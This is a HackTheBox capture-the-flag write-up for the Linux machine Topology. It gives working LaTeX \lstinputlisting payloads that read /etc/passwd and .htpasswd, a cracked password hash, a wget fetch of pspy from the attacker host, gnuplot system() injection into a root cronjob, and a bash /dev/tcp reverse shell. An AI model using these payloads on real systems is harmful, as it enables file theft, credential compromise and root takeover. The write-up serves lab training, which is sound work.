Topology - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Topology is an Easy difficulty Linux machine that demonstrates vulnerabilities in a LaTeX equation generator web application. The machine features a Local File Inclusion (LFI) vulnerability through the \lstinputlisting command that allows reading arbitrary files. By exploiting this, attackers can retrieve Apache configuration files to discover additional virtual hosts, extract .htpasswd credentials, crack the password hash, and gain SSH access. Once on the system, a root cronjob executing gnuplot files in /opt/gnuplot can be leveraged for privilege escalation through malicious .plt file injection.

TL;DR: LaTeX LFI → Read .htpasswd → Crack credentials → SSH access → Discover root cronjob → Gnuplot injection → Root shell

Reconnaissance

Port Scanning

# Initial comprehensive scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.217 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.217

Results:

• Port 22 - SSH (OpenSSH)
• Port 80 - HTTP (Apache httpd)

Service Enumeration

HTTP Service (Port 80):

Browsing to the web server reveals a mostly static page with a hyperlink to a LaTeX equation generator service. The link redirects to latex.topology.htb, indicating a subdomain-based virtual host configuration.

# Add discovered subdomain to /etc/hosts
echo "10.10.11.217 topology.htb latex.topology.htb" | sudo tee -a /etc/hosts

LaTeX Application:

The LaTeX web application at latex.topology.htb/equation.php allows users to input LaTeX code to generate PNG images of mathematical equations. The application specifies that it operates in inline math mode (delimited by $...$ or \(...\)).

Directory enumeration reveals the webroot contains two .tex files:

• equationtest.tex - Contains a sample LaTeX document structure
• header.tex - Contains package imports and configuration

Examining header.tex reveals the inclusion of the listings package, which provides the \lstinputlisting command for including file contents.

Vulnerability Assessment

Initial Foothold

Exploitation Path

Step 1: Exploit LaTeX LFI to Read Files

The initial attempts to use \input{/etc/passwd} fail due to filtering. However, wrapping the \lstinputlisting command within inline math mode delimiters bypasses the protection:

$\lstinputlisting{/etc/passwd}$

Submit this payload to the LaTeX equation generator. The resulting PNG image contains a rendered version of /etc/passwd, confirming the LFI vulnerability.

Step 2: Enumerate Apache Configuration

Use the LFI to read the Apache default site configuration:

$\lstinputlisting{/etc/apache2/sites-available/000-default.conf}$

The configuration reveals two additional virtual hosts: stats.topology.htb and dev.topology.htb.

Update the hosts file:

echo "10.10.11.217 stats.topology.htb dev.topology.htb" | sudo tee -a /etc/hosts

Step 3: Discover HTTP Authentication

Browsing to dev.topology.htb prompts for HTTP Basic Authentication. Use the LFI to read the .htaccess file:

$\lstinputlisting{/var/www/dev/.htaccess}$

The file reveals credentials are stored in .htpasswd within the same directory.

Step 4: Extract and Crack Password Hash

Retrieve the .htpasswd file:

$\lstinputlisting{/var/www/dev/.htpasswd}$

The output reveals a hash for user vdaisley:

vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0

Save and crack the hash using John the Ripper:

# Save the hash
echo 'vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > hash.txt

# Crack using rockyou wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

The hash cracks to reveal the password: calculus20

Step 5: Obtain SSH Access

ssh vdaisley@topology.htb
# Password: calculus20

Successfully authenticate to the machine as user vdaisley.

Step 6: Retrieve User Flag

cat /home/vdaisley/user.txt

Privilege Escalation

Exploitation Path

Step 1: Enumerate Running Processes and Cronjobs

Download and execute pspy to monitor system processes and identify cronjobs:

# On attacker machine - start HTTP server
python3 -m http.server 8000

# On target machine
cd /tmp
wget http://10.10.14.40:8000/pspy64
chmod +x pspy64
./pspy64

After monitoring for a few minutes, a cronjob is discovered:

UID=0 /bin/sh -c find /opt/gnuplot -name "*.plt" -exec gnuplot {} \;

This root-owned cronjob executes any .plt (gnuplot) files in the /opt/gnuplot directory.

Step 2: Check Directory Permissions

ls -ld /opt/gnuplot

Output shows the directory has write permissions for the current user, allowing file creation despite restricted read permissions.

Step 3: Research Gnuplot Command Execution

Gnuplot provides a system() function that executes shell commands. A basic proof-of-concept script:

set print "/tmp/output.txt"
cmdout = system("id")
print cmdout

Step 4: Test with PoC Payload

Create and upload a test payload:

# On target machine
cat > /opt/gnuplot/test.plt << 'EOF'
set print "/tmp/output.txt"
cmdout = system("id")
print cmdout
EOF

Wait for the cronjob to execute (typically runs within 1-2 minutes). Verify execution:

cat /tmp/output.txt

Output confirms command execution as root.

Step 5: Deploy Reverse Shell

Set up a netcat listener on the attacker machine:

nc -nlvp 4444

Create the malicious gnuplot script on the target:

cat > /opt/gnuplot/pwn.plt << 'EOF'
cmdout = system("/bin/bash -c '/bin/sh -i >& /dev/tcp/10.10.14.40/4444 0>&1'")
print cmdout
EOF

Wait for the cronjob to execute. A reverse shell connection as root will be received on the listener.

Step 6: Retrieve Root Flag

cat /root/root.txt

Attack Chain Summary

Discover LaTeX subdomain
    ↓
Identify LFI via \lstinputlisting
    ↓
Read Apache configuration
    ↓
Discover dev.topology.htb virtual host
    ↓
Retrieve .htpasswd hash
    ↓
Crack password hash (calculus20)
    ↓
SSH access as vdaisley
    ↓
Enumerate cronjobs via pspy
    ↓
Identify root gnuplot cronjob
    ↓
Write malicious .plt file
    ↓
Root shell via reverse shell

Tools Used

Key Learnings

Techniques Practiced

• LaTeX File Inclusion (LFI) - Exploiting unsafe \lstinputlisting commands in inline math mode to read arbitrary files
• Configuration File Enumeration - Reading Apache configs to discover virtual hosts and authentication mechanisms
• Hash Cracking - Using John the Ripper to break APR1 password hashes with dictionary attacks
• Process Monitoring - Using pspy to identify privileged cronjobs and scheduled tasks
• Gnuplot Injection - Abusing the system() function in gnuplot scripts for arbitrary command execution
• Reverse Shell Deployment - Crafting bash reverse shells for interactive root access

Lessons Learned

1. Inline Math Mode Context Matters - Understanding that LaTeX dangerous commands may work when properly delimited teaches the importance of context-aware filtering.

2. Configuration Files as Intelligence - Reading application and system configuration files (Apache, .htaccess, .htpasswd) reveals infrastructure and authentication details.

3. Cronjob Exploitation - Cronjobs executing scripts from writable directories are a critical privilege escalation vector; always check /opt, /tmp, and similar directories.

4. Scripting Language Command Injection - Many configuration and scripting languages (gnuplot, LaTeX, ImageMagick) have functions allowing system command execution that can be abused.

5. Defense in Depth Failure - This machine demonstrates how multiple moderate vulnerabilities chain together; single points of failure (weak passwords, writable cronjob directories) accumulate risk.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>